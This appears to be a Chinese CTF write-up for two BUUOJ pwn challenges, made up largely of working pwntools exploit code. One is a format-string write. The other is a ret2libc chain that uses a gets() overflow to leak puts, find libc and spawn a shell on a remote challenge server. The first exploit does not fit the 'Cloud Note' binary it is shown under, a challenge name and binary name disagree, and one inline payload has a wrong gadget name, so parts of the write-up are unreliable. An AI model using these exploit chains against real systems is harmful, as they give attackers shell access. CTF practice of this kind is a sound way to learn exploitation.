ciscn_2019_n_3

老规矩

1
2
3
ubuntu@vm:~/桌面/新建文件夹$ checksec --file=ciscn
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 90 Symbols No 0 2 ciscn

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
float v5; // [esp+1Ch] [ebp-Ch]

alarm(0x12Cu);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
puts("================================================================================");
puts(&byte_8048D45);
puts("\tCloud Note (Free Edition)");
puts("Free Edition can only use within 300 seconds");
puts("Profession Edition only sale $9.999999");
system("date");
puts("================================================================================");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("1. New note");
puts("2. Del note");
puts("3. Show note");
puts("4. Purchase Pro Edition");
v5 = (long double)rand() / 2147483600.0 * 9.0;
v3 = ask("CNote");
if ( v3 != 2 )
break;
do_del();
}
if ( v3 > 2 )
break;
if ( v3 != 1 )
goto LABEL_13;
do_new();
}
if ( v3 != 3 )
break;
do_dump();
}
if ( v3 != 4 )
break;
printf("\tBalance: %f\n", v5);
puts("\tYou dont have enough money!\n");
}
LABEL_13:
puts("Thanks for using CNote! Bye~");
return 0;
}

exp:

1
2
3
4
5
6
from pwn import *
io = process('./pwn')
payload = p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)+b'%10$n%11$n%12$n%13$n'
io.sendline(payload)
io.sendline(str(0x10101010))
io.interactive()

ciscn_2019_n_1(ret2libc)

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

只开了NX保护,可以考虑栈溢出

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h] BYREF

init(argc, argv, envp);
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin();
while ( 1 )
{
while ( 1 )
{
fflush(0LL);
v4 = 0;
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 != 2 )
break;
puts("I think you can do it by yourself");
begin();
}
if ( v4 == 3 )
{
puts("Bye!");
return 0;
}
if ( v4 != 1 )
break;
encrypt();
begin();
}
puts("Something Wrong!");
return 0;
}

begin

1
2
3
4
5
6
7
8
int begin()
{
puts("====================================================================");
puts("1.Encrypt");
puts("2.Decrypt");
puts("3.Exit");
return puts("Input your choice!");
}

encrypt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h] BYREF
__int16 v3; // [rsp+30h] [rbp-20h]

memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s); //栈溢出构造点
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) ) //strlen()函数遇到‘\0’截止
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}

字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
LOAD:0000000000400238	0000001C	C	/lib64/ld-linux-x86-64.so.2
LOAD:0000000000400449 0000000A C libc.so.6
LOAD:0000000000400458 00000007 C fflush
LOAD:000000000040045F 0000000F C __isoc99_scanf
LOAD:000000000040046E 00000007 C signal
LOAD:000000000040047A 00000006 C stdin
LOAD:0000000000400480 00000006 C _exit
LOAD:0000000000400486 00000007 C strlen
LOAD:000000000040048D 00000008 C getchar
LOAD:0000000000400495 00000007 C stdout
LOAD:000000000040049C 00000007 C stderr
LOAD:00000000004004A3 00000006 C alarm
LOAD:00000000004004A9 00000008 C setvbuf
LOAD:00000000004004B1 00000012 C __libc_start_main
LOAD:00000000004004C3 0000000F C __gmon_start__
LOAD:00000000004004D2 0000000A C GLIBC_2.7
LOAD:00000000004004DC 0000000C C GLIBC_2.2.5
.rodata:0000000000400CA8 00000008 C Timeout
.rodata:0000000000400CB0 00000025 C Input your Plaintext to be encrypted //<--提示
.rodata:0000000000400CD5 0000000B C Ciphertext
.rodata:0000000000400CE0 00000045 C ====================================================================
.rodata:0000000000400D25 0000000A C 1.Encrypt
.rodata:0000000000400D2F 0000000A C 2.Decrypt
.rodata:0000000000400D39 00000007 C 3.Exit
.rodata:0000000000400D40 00000013 C Input your choice!

漏洞分析
使用ret2libc

通过已经调用过的函数去泄露它在程序中的地址,然后利用地址末尾的3个字节,去找到该程序所用的libc版本;

程序中函数的地址跟libc中函数的地址的关系:程序函数地址=加载程序的基址+libc中函数偏移量

想办法通过encrypt函数的get函数栈溢出获得其中一个函数的地址

通过LibcSearcher得到该函数在对应libc中的偏移量

即可得到加载程序的基址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
                       低地址
| 填充数据 |
+---------------------+
| pop_rdi_addr(源ret) | <=执行pop rdi;ret;指令
+---------------------+
| pop_get_addr | <=将puts_got_addr作为pop指令的参数,将puts_got放入寄存器rdi中
+---------------------+
| pop_plt_addr | <=调用puts函数将puts函数的真实地址打印出来
+---------------------+
| main_addr | <=再次执行程序方便payload注入
+---------------------+
| |
| |
高地址

因此可以构造第一段payload为(payload首部加入‘\0’是为了绕过encrypt函数,防止输入的字符串加密而变化,strlen()函数遇‘\0’截止)
payload

1
payload = b'\0' + b'a'*(0x50 - 1 + 0x8) + p64(pop_got_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(main_addr)

使用puts_addr=u64(p.recvuntil(b’\n’)[:-1].ljust(8,b’\0’))接收puts函数的地址;

现在,我们已经得到了puts函数的地址,通过使用LibcSearcher查询对应的libc版本

1
libc = LibcSearcher('puts', puts_addr)

程序函数地址=加载程序的基址+libc中函数偏移量

1
2
3
4
5
6
7
8
9
10
11
libc = LibcSearcher('puts', puts_addr)
baseaddr = puts_addr-libc.dump('puts')
print('程序基址:' + hex(baseaddr))

#/bin/sh字符串的偏移地址
binsh_addr_offset = libc.dump('str_bin_sh')
#system函数的偏移地址
system_offset = libc.dump('system')

binsh_addr = baseaddr + binsh_addr_offset
system_addr = baseaddr + system_offset

构造payload2

1
2
3
4
5
payload = b'\0' + b'a'*(0x50 - 1 + 8)
payload += p64(ret_addr) #堆栈平衡
payload += p64(pop_rdi_addr) #将system函数的参数保存到rdi中
payload += p64(binsh_addr) #pop指令的执行的操作数
payload += p64(system_addr) #调用system函数获得shell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
from LibcSearcher import *

context(os='linux', arch='amd64', log_level='info')
p = remote('node4.buuoj.cn',29745)
#p = process('./ciscn_2019_c_1')
elf = ELF('./ciscn_2019_c_1')

main_addr = 0x400b28
pop_rdi_addr = 0x400c83
ret_addr = 0x4006b9
puts_got_addr = elf.got['puts']
puts_plt_addr = elf.plt['puts']

p.sendlineafter(b'Input your choice!\n', b'1')
payload = b'\0' + b'a'*(0x50 - 1 + 8)
payload += p64(pop_rdi_addr)
payload += p64(puts_got_addr)
payload += p64(puts_plt_addr)
payload += p64(main_addr)
p.sendlineafter(b'Input your Plaintext to be encrypted\n', payload)
p.recvline()
p.recvline()
puts_addr=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\0'))
#puts_addr = 0x7f8685384970
print('puts函数地址:' + hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)
baseaddr = puts_addr-libc.dump('puts')
print('程序基址:' + hex(baseaddr))

binsh_addr_offset = libc.dump('str_bin_sh')
system_offset = libc.dump('system')

binsh_addr = baseaddr + binsh_addr_offset
system_addr = baseaddr + system_offset

p.sendlineafter(b'Input your choice!\n', b'1')

payload = b'\0' + b'a'*(0x50 - 1 + 8)
payload += p64(ret_addr)
payload += p64(pop_rdi_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)

p.sendlineafter(b'Input your Plaintext to be encrypted\n', payload)

p.interactive()